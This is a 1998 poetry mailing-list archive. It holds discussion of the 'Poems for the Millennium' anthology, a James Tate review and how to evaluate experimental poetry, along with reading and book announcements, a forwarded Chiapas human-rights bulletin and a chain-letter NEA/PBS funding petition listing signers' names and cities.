> list that i formulated---not a list of exclusions (or omissions), but of
> inclusions... in fact, of duplications (of a sort)---those authors whose
> work is reproduced both in volume one and in volume two (not the same
work,
> of course---and apologies for any bean-counting errors):
>
> akhmatova
> artaud
> breton
> cesaire

> duchamp
> duncan
> ekelof
> eshleman
> h.d.
> jabes
> joyce
> mac low
> macdiarmid
> michaux
> neruda
> olson
> oppen
> ortiz
> paz
> pound
> sabina
> schwerner
> g. stein
> stevens
> williams
> zukofsky
>
> (22 men, 4 women)
>
> what i'd want to know from jerry/pierre, if it isn't already noted in the
> editorial apparatus, is whether and to what extent this duplication was
> itself a matter of extended deliberation... well---to be more precise, b/c
> i'm sure it *was*---what were the terms of this deliberation?...
>
> (4) it's true that auden, spicer, and many others have been excluded from
> volume two... at the same time, i note that spicer and auden and many
> others DO appear in the commentary sections... and this is in fact
> significant, not only from a teaching perspective, but in terms of
> developing historial context... i wonder whether jerry/pierre intend
> someday to produce an index for the volumes that might include all of those
> poets mentioned in the commentary sections?... i think this would be
> extremely useful...
>
> (5) given my own specific interests, it was nice to see a section on
> "cyberpoetry," to see someone like jim rosenberg finally get his due, and
> to see folks like don byrd and michael joyce credited for their

> contributions to late 20th century thought... i know of many, many talented
> folks who might also have been included here, but again i regard the drift
> of the anthology as not so much to territorialize as to provide a sense of
> openings... and a sense is just that---a sense, even with u of california
> backing... in other words, the editors as i see it are using a powerful
> academic press in order to advance an unorthodox and polemical
> understanding of poetic possibilities... and like, why the hell not?... i
> like it, for example, that readers are referred in volume one to seek
> eliot's _the waste land_ elsewhere...
>
> (6) i've had a chance to read over jonathan mayhew's brief review of the
> anthology, and i do think jonathan's is an even-handed critique, given the
> brevity of his review---and we all know that no book is beyond critique...
> i encourage those of you who are interested to have a look at what jonathan
> is saying... at http://www.ellavon.com/
>
> anyway, again, all too hasty and for what it's worth... and i need to say
> here, again, that i think jerry and pierre are to be congratulated for
> another superb volume...
>
> all best,
>
> joe

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33. Hugh Nicoll
Re: East Village Poetry Site
Sat 2 May 1998

You will find The East Village Poetry Web at these URLs.

In the US: <http://www.theeastvillage.org>.

In Japan: <http://interserver.miyazaki-med.ac.jp/~east/village.htm>.

h.

↑ Index

34. J. Fuhrman
Re: : challenge vs. difficulty (Tate)
Sat 2 May 1998

If people have moved on from thinking about the Tate piece, I'm sorry but...
What interested me about Kirch's review was the distinction I think he is

making between "difficulty"(usually. of surface) and "challenge"(usually of content.) This distinction seems to go against what I imagine most of us think of as "form" in poetry (FORM is CONTENT-- as olsen, creely et al. said.) Still, I found Kirch's argument convincing. Are there contemporary poets who it makes sense to talk about in this way? What would this way of viewing allow us to see? What would it force us to miss? As a side note: Has anyone else seen Tate read after years of reading him? What was interesting about the experience for me was how different the poems were performed? When I read them at home the line between what is funny and what is tragic is thin? Yet when he reads, it seems clear that some lines are "funny/absurd" and others are "serious/sentimental." The reading was a disappointment to me because... I don't know.. the poems seemed less complex, somehow less interesting. I felt I had been somehow misreading them all along.

On Thu, 30 Apr 1998, louis stroffolino wrote:

> *In response to TRACE---I guess I read Kirsch differently*
> *(I disagree with his review but for different reasons than trace).*
> *I think he's using the word "challenge" positively and lamenting*
> *what he sees as a lack of that "challenge" in Tate. Kirsch, as I*
> *see it, seems to lament the "19th century role" of poet as consoler*
> *and comforter which he detects "beneath" the seemingly modern*
> *disjunctive aleatory qualities of the poetry he's discussing.....*
> *Now, whether he's ACCURATE about that is one thing*
> *(in the first place, I don't quite know what he means about the*
> *19th century poet of comfort and consolation: Baudelaire?*
> *Dostoyevski [i know, not a poet] speaks of his writing as*
> *"corrective punishment", I see that in much of Dickinson,*
> *Shelley, etc. too)*
> *Kirsch, of course, poses a reductive dichotomy*
> *between "challenge" and "comfort" (but, then, critics and*
> *scholars on both sides of the fence have been rewarded for*
> *such rhetorical maneuvers for quite some time now....)*
>
> *I also wonder about the phrase "retreat from the rigors of*
> *the world". I think Kirsch finds such a stance terrible,*
> *and Trace (who thinks Kirsch craves that kind of poetry)*
> *also finds it terrible, or ethically unsound.*
> *But sometimes the world does not come in the form of RIGORS*
> *(rigors unmixed), and then such a "retreat" is not really*
> *a retreat....*
> *c*
> *On Thu, 30 Apr 1998, trace s. ruggles wrote:*
>
> *And, Kirsch's conclusion is:*
>
> *.. And this, finally, is Tate's message to us: the little*

> .. pleasures of ''pure ordinariness'' make all the pain
> .. worthwhile. The poems in ''Shroud of the Gnome'' are often
> .. difficult; but with a message like that, they cannot be a
> .. challenge.

Is Kirsch apologizing for Tate's poetry? Ah, if only the _message_ is
good, you can forgive the poet for being _difficult_!

And, get this:

> .. But while poets today may still use modernist techniques --
> .. free association, surrealism, complex allusion -- the
> .. modernist temper is gone; poetry has to a large degree
> .. resumed its 19th-century role as a comfort and consolation,
> .. a retreat from the rigors of the world.

So, the 20th century was but a little diversion in the grand stream of
POETRY which gave the POETS a few neat little tricks to use, but THANK GOD!
we're back to comfort and consolation! So, please quit being so diffcult,
y'all, and give me some nice little lines I can fall asleep to...

--trace--

At 8:39 AM -0700 4/30/98, you wrote:
Now Mayhew has caused Mayhem in the mind
i keep by a bar serving coors
and is reminding me of that terrible kool and the gong sang
(DIGRESSION: i listen to rap when cars pass, and i heard this line
"LIKE THE CAT WHO KILLED VERSACE" yesterday, can anybody
NAME THAT TUNE)
anyway, when i first read this quote i thought it was
"Tate is trying to make words FLESH again"
ah, the materiality of the word meets the
school of disembodied poets

Well, one could take Mayhew's problem further---
if the avoidance of cliche is now a cliche
then everything is permitted (which is a cliche too)....

But when we speak of the issue of "making language fresh"
(or however you want to express a similar impulse),
i guess there's a question involved about WHO you want
to do that for? And I wonder if there's a way to avoid
the possibility that someone will find "too obscure"
and "meaningless" what another person finds "too cliche"----
no matter WHAT kind of poem you write.....
chris
On Thu, 30 Apr 1998, MAYHEW wrote:

> *From a review of James Tate in the "New York Times Book Review," by one Adam Kirsch:*
>
> *"Like the even more nonsensical*
> *Language poets, Tate is trying to make words fresh again, to restore the glow that is*
> *rubbed away by advertisements and professional jargon and simple day-to-day*
> *repetition. Thus the reader discovers these deadpan absurdities: ''Please don't taunt the*
> *scrivener. . . . / No muffins permitted in the aviary.'' Or: ''my studies, Retro- /*
> *gression and the Requiem Shark, to name but one area.''"*
>
> *The problem is that this idea of "making words fresh again" is itself a tired commonplace. I also find the phrase "the even more non-sensical langauge poets" hilarious. Apart from this, the review does have some insight.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

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35. **michael corbin**

Re: Arizona in here

Sat 2 May 1998

Daniel Zimmerman wrote:
>

> *Alvar Nuñez Cabeza de Vaca [Cow-head!]; his real name, as far as I know. Harvey Brown reissued Long's book in a beautiful Frontier Press edition in 1969. A few years ago PBS ran a film about CdeV's journey--a bit heavyhandedly 'epic,' but a nice surprise.*

Perhaps the _Relacion_ of de Vaca and, its companion volume the _Devastation of the Indies_ of Bartolome da las Casas are fresh poems for our late imperial romances. After walking through Northern-hemispheric deserts and renouncing the low-intensity conflict blood rituals there can be late twentieth century hope.

But maybe not. I've always wondered about the Karankawas. Is it possible to remember them now?

Recommend John Sayles latest cinematic effort _Men with Guns_. An american release in spanish (dialectos nativos, mestizo too) with english subtitles. A somewhat didactic allegory (no more so than _Matewan_ or any of Sayles work), somewhat based on Francisco Goldman's _Long Night of White Chickens_ not unrelated to the passions of de Vaca and de las Casas, and you and me kimo sabe. The central character struggles with, lets call it, de vaca-ism, and its possiblities now.

In other related news:

Requiescat in pace Bishop Juan Gerardi Conedera, you who were beaten to death last week. And who remembers Guatemala? Is it even possible now? You survived the 80s, a 36 year civil war, Reagan, only to be killed now speaking of human rights. Nunca mas mi padre. You spoke of the devastation of los indios, Nunca mas.

And in still other related poetry news (or as elegist Rodnee Keng said during the LA poetry riots, "Can't we all just get one big anthology")

NUEVAS VIOLACIONES EN CHIAPAS

El Centro de Derechos Humanos "Fray Bartolomé de Las Casas" denuncia ante la opinión pública nuevas violaciones a los derechos humanos en el Estado de Chiapas de las que ha tenido conocimiento:

1.Dos auxiliares de este Centro de Derechos Humanos, quienes prestan su servicio social, fueron el pasado sábado 11 de abril asaltadas en el centro ceremonial maya de Palenque. Después de este hecho han sido hostigadas y seguidas en la Ciudad de San Cristóbal de Las Casas y, finalmente, sujetos desconocidos entraron en la habitación de su hotel mientras estaban ausentes sustrayéndoles documentos personales. Los hechos constan en la averiguación previa 204/18/98.

2.De acuerdo a la información de la Comunidad "10 de abril", el pasado 14 de abril de 1998, unos 800 elementos las policías de Seguridad Pública y Judicial Federal, Ejército Nacional Mexicano y agentes del Instituto Nacional de Migración, realizaron un operativo en donde detuvieron al joven José Alfredo López Méndez de 17 años de edad y a tres noruegos de nombres Nora Lanfelan, Laura Itzen Esten y Kaja Langelano. La detención se llevó de manera arbitraria y el procedimiento para su expulsión fue nuevamente ilícito, toda vez que no se les permitió tener abogado en los interrogatorios y no tuvieron oportunidad de alegar nada en su defensa. Para esta agresión la policía uso de gases lacrimógenos y disparos al aire y fueron guiados por indígenas de la región

vestidos con el uniforme de la Policía de Seguridad Pública (usurpando funciones).

3.Al concluir el operativo de detención los elementos de dichas corporaciones, según la propia versión de la comunidad saquearon la tienda cooperativa sustrayendo de ésta bienes por un monto de $ 109,325.00 pesos y dinero en efectivo por más de $ 170,000.00 pesos. Este tipo de prácticas no son extrañas ni nuevas, vale la pena recordar el saqueo de casas y tiendas que la policía perpetró en San Pedro Nixtalucum, en el Bosque en marzo del año pasado.

4.El día de ayer 15 de abril el Juez 2º de distrito Roberto Alejandro Navarro Suárez se rehusó a recibir el
amparo que promovía la defensa de los Srs. de TOMAS SANCHEZ LOPEZ, MIGUEL HERNANDEZ
PEREZ, ANTONIO RODRIGUEZ JIMENEZ, ANDRES GUTIERREZ HERNANDEZ,
FIDELINO CRUZ
MENDOZA, MANUEL HERNANDEZ PEREZ Y CESAR RODRIGO NUÑEZ OLIVA,
detenidos ilícitamente
el día 13 de abril en el municipio de Ocosingo, sin dar explicación jurídica alguna.

5.El pasado 13 de abril, a media noche, presuntos elementos de la policía Judicial Federal incursionaron en el poblado Santa Catarina, municipio de Sabanilla y con disparos al aire intimidaron a la población.

Este Centro constata el rápido deterioro de los derechos humanos en el Estado y hace un llamado urgente al gobernador a que ponga fin a la escalada de represión, libere a los prisioneros injustamente detenidos e indemnice a los pobladores de la comunidad "10 de abril" por los daños ocasionados por elementos de las policías.

De igual manera reitera este Centro que no es posible el establecimiento del Estado de Derecho violando derechos humanos o creando un clima de represión.

mc

↑ Index

36. Miekal And
Re: requisite self-promotion
Sun 3 May 1998

Herb Levy wrote:
 each week of interesting music including the dull
> variety of new music that I select for them (in RealAudio):

how about a little cornelius cardew or the seattle improvisor's orchestra (whose name I forget) which Jeffrey Morgan organized?

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37. Joe Amato/Kass Fleisher
Re: poems for the millennium vol. 2
Sun 3 May 1998

---

jerry, thanx so much for your detailed response to (again) my hasty queries... i'm certain i'm not alone in finding much of interest and insight in what you say... one thing that leaps off the screen is the issue you raise re the "economics of permissions"---i had rather thought that this must figure someplace in such a big book... and it was interesting to hear too that the final product was hewn from an initial 1200 pp (and was in essence completed two years ago)... i'm fairly certain that the 1200 pp item would have eased certain anxieties (making vol. two a little larger than _from the other side of the century_), but there is after all something worthwhile in being a bit provocative (and i'm sure length was an economics issue as well)...

i don't like to reduce everything to matters of teaching, but after all i'm a teacher... and whatever one's feelings regarding anthologies, they can be handy in the classroom--- depending on the classroom (esp. coupled with a small press volume or two)... had i had volume two of _millennium_ i would have used it this past semester... thus far i've used vol. one of the _millennium_, paul hoover's _postmodern_ norton and ed foster et al.'s _primary troubles_... i've used each of these anthologies 'successfully,' albeit to somewhat different *measures* of 'success' (which right now i just don't have the time to detail---and i used these three anthologies with three different groups of students, so i can offer only 'case study' experience anyway)...

oh hey, and why not: i happen to enjoy flipping through anthologies---with my brain intact, of course... as long as one understands that anthologies are variously *motivated* collections, and as long as one (teacher, say) finds ways to support smaller publishing enterprises, i don't see a problem here (though i can imagine an argument re the way an anthology "comes at you," it seems to

me clear that the _millennium_ anthologies in particular address their own problematic nature in this regard)...

well like i say volume two is a heck of an accomplishment, thanx again jerry/pierre!...

best,

joe

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38. Eurydice
May Readings at Here (NYC)
Sun 3 May 1998

Three upcoming readings in New York to attend - time, location, and will willing.

May 9
Heather Fuller
Heather Ramsdell

May 16
Deirdre Kovac
Rod Smith

May 23
Jean Day
Andrew Levy

All at "Here"; 145 Sixth Avenue (a block below Spring Street), New York; Saturdays at 3:00 p.m.; $5 contribution.

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39. Douglas Barbour
Re: Rothenberg's commentary
Sun 3 May 1998

Just a note to thank Jerome Rothenberg for such a calm yet committed commentary on his own process & the product that necessarily had to emerge from it. We all know there can be no perfect anthology; but it is good to have two so dedicated bricoleurs working to create 2 huge volumes of 'assemblage.' I know I've got my (most pleasant) work cut out for me in reading this huge text with the care it was put together with.

And, with regard to Herb Levy's comments, I'm pretty damned sure I'll enjoy a lot of it before I 'understand' it all, nor does that worry me. And, Herb, even in

the universities, some of us try to suggest that 'understanding' a poem is a lot less important than 'getting' it in all kinds of other ways. I do agree with you...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

42. Michael McColl
Understanding and Evaluating Poems
Sun 3 May 1998

With experimental poems comes an interesting situation or problem with regards to evaluation. When there is no paraphrasable content, then at least one very widespread and traditional way to evaluate a poem is no longer possible, at least in the same way--that is to discern how sound and sense are in harmony or meaningful dissonance. It seems to me that the criteria for judging what's good and not so good must change when the experiment involves a conscious departure from paraphrasable content. Do such criteria exist?

Michael McColl

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43. John Cayley
Current (e)address for Fiona Templeton
Sun 3 May 1998

Can anyone give me the current address, ideally an email address, but snail also good, for Fiona. Thanks in anticipation. John

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44. randy egest
NEA/NPR Petition
Sun 3 May 1998

After extensive lurking, I found something that may or may not be appropriate fodder.

Sorry if it isn't, but it is vital and interactive!
And thanks for this great list
chris
(cut this sophomoric commentary out at leisure)

Friends-

Subject: NEA Petition

RE: National Endowment for the Arts, NPR, PBS Petition

Please keep this petition rolling. Do not reply to me. Please sign at the bottom and forward to others to sign. If you prefer not to sign please send to the e-mail address indicated or return to me. Thanks.

This petition is being passed around the internet. Please add your name to it so that funding can be maintained for the NEA, NPR & PBS.

Here goes:

This is being forwarded to several people at once to add their names to the petition. It won't matter if many people receive the same list as the names are being managed.

This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes, a petition follows. If you sign, please forward on to others (not back to me). If not, please don't kill it-send it to the email address listed here: [redacted] PBS,

NPR (National Public Radio), and the arts are facing major cutbacks in funding. In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as not worthwhile. Currently,taxes from the general public for PBS equal $1.12 per person per year, and the

National Endowment for the Arts equals $0.64 a year.

A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans

wish to keep funding for PBS, this percentage of people polled is surpassed only by national defense and law enforcement as the programs that are the most valuable for federal funding.

Each year, the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1.

The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our

voices heard.

Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States,

and Representative
Newt Gingrich, who is the instigator of the action to cut funding to
these worthwhile programs.

*If you happen to be the 150th, 200th, 250th, etc. signer of this petition, please forward a copy to: [redacted].

If that address is inoperative, please send it to:
[redacted].

This way we can keep track of the lists and organize them.

Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

NOTE: It is preferable that you SELECT the entirety of this letter and

then COPY it into a new outgoing message rather than simply forwarding it.

---

416) Arlene Hamilton, Everett, WA
417) Irina Rudakova, University of Washington, Seattle, WA
418) Persephone Miel, Internews, Moscow, Russia
419) Michael J. Mead, New York, NY
420) Spiro C. Lampros, New York University, New York, NY
421) Kelly Sheehan, Brooklyn, NY
422) Henry Kimsey-House, Sebastopol, CA
423) Cynthia Loy Darst, Los Angeles, CA
424) David Darst, Los Angeles, CA
425) Arline Berman, Atlanta, GA
426) Laura Davis, Atlanta, GA
427) Carole Billingham, Denver, CO
428) Sonja M. Hansen, Seattle, WA
429) Rebecca Crichton, Seattle, WA
430) Cedron Sterling, Seattle, WA
431) N'Shama Radha Sterling, Seattle, WA
432) Jim Ekberg, Seattle, WA
433) Carol Ruth Summers, Seattle, WA
434) Ken Jenkins, Novato, CA
435) Todd Stock, Los Gatos, CA
436) Donald Rose, Los Angeles CA
437) Tony Puryear, Venice, CA
438) Eric Finke, Venice, CA
439) Janet Forman, New York, NY
440) Lynda Hansen, NY, NY
441) Richard Weise, Nashville, TN
442) David Madson, Albany, CA
443) Rick Wise, Albany, CA
444) Bill Rogers, Mendocino, CA
445) Rita Hovakimian, San Francisco, Ca
446) Tracy E. Longacre, San Francisco, CA

447) Anita G. Barfield, San Francisco, CA
448) Penelope M. Warren, San Francisco, CA
449) Edward G. Guggenheim, San Francisco, CA
450) Thao N. Lam, Riverside, CA
451) Antonio Rauti, Riverside, CA
452) Carlotta Domeniconi, Riverside, CA
453) Stephanie Fonder, Riverside, CA
454) Sohail Nadimi, Riverside, CA
455) Shirin Etessam, San Francisco, CA
456) Jahanshah Javid, Albany, CA
457) Haleh Nazeri, NY, NY
458) Larry Weissman, NY, NY
459) Hilary Herscher

460) Shena Patel
461) Steven Gutierrez
462) Simon Glick
463) Michael Gillespie, New York, NY
464) Janna Scott, Dallas, TX
465) Robert L. Cordell II, New York, NY
466) Colleen Theis, New York, NY
467) Karen Speer, New York, NY
468) James Karn, New York, NY
469) Raymur Walton, New York, NY
470) Martha Brice Gaillard
471) Martha Gary
472) Howard Stovall, Memphis, TN
473) Pat Mitchell, Memphis,
474) Tara McAdams, Memphis, TN
475) Robert Gordon, Memphis
476)Robert Freed, Richmond, VA
477) Babs Jackson, Richmond, VA
478) Michael Broyles, State College, PA
479) Ruth Silverman, Buffalo Grove, IL
480) Karen Primack, Silver Spring, MD>
481) George Hinds, Takoma Park, MD
482> Luc Leplae
483> Suzanne Rosenblatt
484> Mark J. Fraire, Madison, WI
485> Steve Barberio, Hopkins, MN
486> Kari Kjome, Minneapolis, MN
487> Peter Kjome, Grand Rapids, MI

488> Robert Driscoll, Jr., Pittsburgh, PA
489> Jonathan J. Dlouhy, Atlanta, GA
490> Ronda Respess, Atlanta, GA
490> Ronda Respess, Atlanta, GA
491> Ann Steck, Alexandria, VA
492> De Fischler Herman, Takoma Park, MD
493> Naomi Mara Hyman, Stevensville, MD
494> Patrice L. Leichter, Philadelphia, PA
495> Stuart Bogom, Philadelphia, PA
496> Dorel Shannon, Philadelphia, PA
497) Sandi Vito
498) Lou Freimiller
499) Cynthia Waters Spaulding, Philadelphia, PA
500) Sheila F. Waters, Gaithersburg, MD
501) Aissia L. Richardson, Philadelphia, PA
502) E.A. Kafkalas, Allentown, PA
503) Shirl Gower, Bethlehem, PA
504)Ysaye M. Barnwell, Washington, DC
505) Samuel A. Floyd, Jr., Chicago IL
506) Anne Dhu McLucas, Eugene, OR
507) John Potash, Sioux City, IA
508) Nina V. Fedoroff, State College, PA
509) Daniel J. Cosgrove, Pennsylvania Furnace, PA
510) Lincoln Taiz, Santa Cruz, CA
511) Richard Coplon, Santa Cruz, CA
512) Clare Greene, Santa Cruz, CA
513) Betsy Steele, Santa Cruz, CA
514) David Casper, Aptos, CA
515) Peggy Casper, Aptos, CA
516) William Settle, Aptos, CA
517) George W. Gilchrist, Seattle, WA
518) Ronald L. Rutowski, Tempe, AZ
519) Heather Cate, Tempe, AZ
520) Chris Bijalba; Chicago, IL

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45. **charles alexander**

Re: Understanding and Evaluating Poems

Sun 3 May 1998

At 03:05 PM 5/3/98 EDT, you wrote:
>With experimental poems comes an interesting situation or problem

>with regards to evaluation. When there is no paraphrasable content,
>then at least one very widespread and traditional way to evaluate
>a poem is no longer possible, at least in the same way--that is
>to discern how sound and sense are in harmony or meaningful dissonance.
>It seems to me that the criteria for judging what's good and not so
>good must change when the experiment involves a conscious departure
>from paraphrasable content. Do such criteria exist?

Seems to me one might begin from the definition of poetry as "language charged with meaning to the utmost degree." And one can compare 'experimental' poems and argue about such charge. Just as one may look at Thomas Hardy's elegy to Swinburne next to Pound's elegy to Swinburne and (I think) make a pretty argument that Hardy's is the 'better' poem. But is that all we're after. Do we really read poetry to determine which poems are better than others according to various criteria? Isn't it better to look at those poems, respond to them in a variety of ways, and try and come to a sense of why it is exciting or enlightening to read them?

Still, I'm not sure you couldn't look at the criteria you name above (sound and sense in harmony or meaningful dissonance) and apply it to experimental poems. I could imagine Mac Low's Light Poems standing up fairly well to such an analysis. I don't think "having paraphrasable content" is the only way a poem can exhibit "sense."

charles

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46. Bob Grumman

Re: Understanding and Evaluating Poems

Sun 3 May 1998

Oht-oh, looks like this thread gonna start heating up. Michael McColl speaks of poems with no paraphrasable content. I would claim that any poem without SOME paraphrasable content, if that's possible, is worthless--as a poem. But I'm pretty narrow in my definition of poetry as something semantic. If you're talking about some kind of "sound poetry" that has no verbal meaning, then, for me, it's music, to be judged as music is, but its variety of sounds and how they are used with and against each other. "Visual poetry" sans verbal meaning should similarly be judged by visual criteria, how their colors and shapes are used with and against each other.

I haven't been following this thread closely, so forgive me if I'm repeating some other fogey's much earlier remarks.

--Bob G.

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47. David Baratier

Re: Understanding and Evaluating Poems

Sun 3 May 1998

"With experimental poems comes an interesting situation or problem with regards to evaluation."

I was attempting to get at this with the earlier post mean(ing). The criteria starts to formulate and appear at the experience of the piece. In whatever medium. For me, in a successful piece, the criteria establishes itself on the basis of the experience. Examples: While experiencing Robert Grenier's r h y m m s, I found that the color linkings between the pages as well as the scrawl of the work lead to multiple parameters of possibilities of connective meaning. That's why we published a section. Each "word" on the page has many possibilities of interpretation. Each color has other possible polarities such as elements, energies, and other archetypal interpenetrations. It lead to questions of what the function of text and how it can impersonalize a love letter (see: What I believe / Transpirations/ Transpiring on O books) how handwriting relates to the mythic (see Duncan's selected essays) where does art & poetry reach demarcation etcetera. A successful piece flares to the mind an image of my current belief structure and brings it through a process of re-interpretation.

Another great example is transduction, as created by Joel Lippman in the 70's, an excellent example can be found in _Prime Sway: a transduction of Primera Sueno by Sor Juana Ines de la Cruz_ by John M. Bennett (Texture Press). The piece tries to capture the phrenic or mental energy of the original without a pretending to be a literal translation. Questions of how all translations are translations over time (time of translation versus original time written) flare into the iris. The author adapts the text to fit their particular set of agendas (Pound:attacking usury, Paul Blackburn: fixation on sound, Robert Bly: to set meaning to one parameter rather than leave meaning as a polytokenal(for a great example see Vincente Alexandre's 20 poems tr. by Bly on his 70's press)). "Why set forth the false notion that agendas are not being forwarded" is a major aspect of Prime Sway.

There's others if you want some more.

Be well

David Baratier
News survey reveals 70% of bankrobbers are actually customers trying to get their money back

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48. Travis Andrew Ortiz

Atelos / _Bad History_ by Barrett Watten

Sun 3 May 1998

Bad History
by Barrett Watten

Atelos is pleased to announce the publication of _Bad History_ by Barrett Watten.

About the book: Postmodern American poetry can also be described as post Vietnam War poetry, and with _Bad History_, Barrett Watten has written a prose poem epic of the postmodern period. Begun on May 1, 1992 to mark the first anniversary of the Gulf War, but reflecting on that engagement as an extension of the Vietnam War, the book is addressed to a diverse array of events that mark the long era of that latter war. So the title section of _Bad History_ begins, "A bad event happened to me, but its having occurred became even more complicated in my thinking about it.... Take the War, for example; I no longer know for certain which war is meant.... It is always 'the era between two wars.' So there was a very long war before a period of time in which that war had just been over for a very long time--even though it took its place as immediately preceding that time. Then a very short war called that very long time into question--because suddenly time became something that had happened to me." Barrett Watten's powerful memoir of events of our time is a book about the making of history; he reminds us that history doesn't take place in vacancy; it happens to us.

About the author: Born in 1948, Barrett Watten came into prominence in the early 70s with publication of his first book (_Opera--Works_) and the founding of his highly influential magazine _This_ and This Press. _Opera--Works_, along with a number of other previously published works, is included in his recently published major collection, Frame (1971-1990), published by Sun & Moon Press. In addition to _Bad History_, Watten is the author of two other long poems, _Progress_ and _Under Erasure_, and a co-author of _Leningrad: American Writers in the Soviet Union_. A collection of essays on modern and contemporary poetics, _Total Syntax_, was published in 1984. He is the co-editor of _Poetics Journal_, and he teaches modernism and cultural studies at Wayne State University in Detroit.

About the project: Atelos was founded in 1995 as a project of Hip's Road. It is devoted to publishing, under the sign of poetry, writing which challenges the conventional definitions of poetry, since such definitions have tended to isolate poetry from intellectual life, arrest its development, and curtail its impact. All the works published as part of the Atelos project are commissioned specifically for it, and each is involved in some way with crossing traditional genre

boundaries, including, for example, those that would separate theory from practice, poetry from prose, essay from drama, the visual image from the verbal, the literary from the non-literary, and so forth. The Atelos project when complete will consist of 50 volumes; Bad History is volume 2. The project directors and editors are Lyn Hejinian and Travis Ortiz; the director for production and design is Ree Hall.

Ordering information: _Bad History_ may be ordered from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710-1403; phone [redacted] or toll-free [redacted]; e-mail: [redacted]

Title: Bad History
Author: Barrett Watten
Price: $12.95
Pages: 168

ISBN: 1-891190-02-4

Contact: Lyn Hejinian
Travis Ortiz
fax: [redacted]
e-mail: [redacted]
Atelos
PO Box 5814
Berkeley, CA 94705-0814

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49. Henry Gould

Re: Understanding and Evaluating Poems

Sun 3 May 1998

On Sun, 3 May 1998 15:05:17 EDT Michael McColl said:
>With experimental poems comes an interesting situation or problem
>with regards to evaluation. When there is no paraphrasable content,
>then at least one very widespread and traditional way to evaluate
>a poem is no longer possible, at least in the same way--that is
>to discern how sound and sense are in harmony or meaningful dissonance.
>It seems to me that the criteria for judging what's good and not so
>good must change when the experiment involves a conscious departure
>from paraphrasable content. Do such criteria exist?

Aren't the ancient categories of the "beautiful" vs. the "sublime" about such "departures from paraphrase"? The sublime - a conscious invocation of the awful, the terrible, the awe-inspiring - the OBSCURE, in other words, as opposed to the beautiful/harmonious. But the obscure is always contained within a meaningful narrative - or threatening (dramatically) to break out of containment.

This exciting "threat" is encapsulated in the poetry that strikes us the hardest - the most powerful because so beyond paraphrase. And yet the power is not in the jettisoning of meaning but in the gradual ascent of meaning toward - what? - revelation? Which can take not only the form of some suprarational image,

but also the passionate condensation of the aphorism or the proverb - reason, totally engaged.

Every poem should induce a paraphrase which is admittedly and utterly inadequate to its original. That's the "logical content" - only one aspect, but a necessary one. Even a poem which is only talking to itself is still having a conversation - and that's what the "logic" of it gets across.

And there must be a larger and deeper human conversation of which poems are a formal expression and ornament. A conversation which looks through reputations and prestige (cf. whatever poetry bk reviews are in this week's NY Times Bk Rev etc.) and reads in the light of the poetry of poetry of the world of poetry of poetry... not in order to condemn or pufferize but simply to read carefully, critically, humanly... - henry Gould

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50. Joel Felix
Bellamy Reading in Chicago
Sun 3 May 1998

For those around Chicago, Dodie Bellamy will be reading from "The Letters of Mina Harker" on Tuesday, May 5th, at 7:00 pm in an informal setting, ok my apartment, 1136 N. Milwaukee 2R Chicago. It's a great chance to meet Madame B. Please email me backchannel to confirm your seat. Egos checked at the door.

Joel Felix

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51. Samuel R. Truitt
ANAMORPHOSIS EISENHOWER
Sun 3 May 1998

PUBLICATION ANNOUNCEMENT
May 1, 1998

ANAMORPHOSIS EISENHOWER
by Sam Truitt
Lost Roads Publishers
CD Wright and Forrest Gander, editors
71 pages
$12.00
ISBN: 0-918786-48-7
Available thru Small Press Distribution
Tele: [redacted]

Fax: [redacted]
eMail: [redacted]

Of ANAMORPHOSIS EISENHOWER:

"In the haunted fractal mirrow of Sam Truitt's sweeping and richly detailed ANAMORPHOSIS EISENHOWER, Ike melts into shape (supreme head allied poets elegiac). Here the rhythms arrive on "airborne chariots of JIVE," viz: "It is not too late to trade in our lives / For a brand new set of steak knifes." Go ahead: read this book."

--Charles Bernstein

"Sam Truitt gives "mouth to outh resuscitation" to the ancient quest poem as he writes "to voyage is to become / Hysterical." In the maximal narrative loop of this book, Marilyn Monroe's skirt is perpetually going "whoosh" in an Eistenian vacuum where "the displacement of the figure is the form."

--Peter Gizzi

"If modernism wanted to conclude in minimalist perfections, the new age might be said to begin with a shattered crystals shards. Sam Truitt has assembled here a gorgeous trembling maximalism invested with erudition, tenderness, with a shimmering full deck, wild card and all: "Bright rapture in this dead town bounds like a rose / Among the broken bottles of a freight yard."

--Ann Lauterbach

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52. **Aviva99999**

Re: The Meaning of Meaning

Sun 3 May 1998

In a message dated 98-05-02 12:51:50 EDT, you write:

> *emotional and/or*
> *visceral responses are not only useful, they're necessary.*

there's so much =experimental= work, however, that seems to deaden, rather than enliven, visceral and/or emotional response. to have some kind of kinesthetic experience of the poem...or spirit-engaging experience of the poem...it seems necessary to offer the reader some stimulation in these areas. much of the =experimental= poetry i've read seems to dwell in a cerebral domain, which seems to me a different =landscape= than the visceral/emotional domains. of course, there are always exceptions; certainly, a cerebral/intellectual experience can ultimately generate a visceral/emotional experience...but not usually, as far as my own experience goes. making such distinctions between mind, body and spirit is risky and perhaps folly. however,

there's so much work out there that just leaves me passionless, intellectually numbed, and aesthetically bored. it seems to happen when the work is so incredibly =private= that i can't find any place in it to grab on to, or become engaged. it's not that i require total =absorption= in the work...i don't want all my responses packaged up for me, as if i were buying a =poem patty= at a fast food restaurant, but neither do i want featureless, textureless cardboard. i don't know...i haven't thought this through well enough to make myself clear, but i'm frankly very frustrated with poetry that makes zero effort to engage anyone but the writer.

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53. **Agent Sunshine, aka Eric Gleason**
Re: The Meaning of Meaning
Sun 3 May 1998

---

sometimes when i try to type workers it comes out "wordkers".

eryque

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54. **Thomas Bell**
Re: The Meaning of Meaning
Mon 4 May 1998

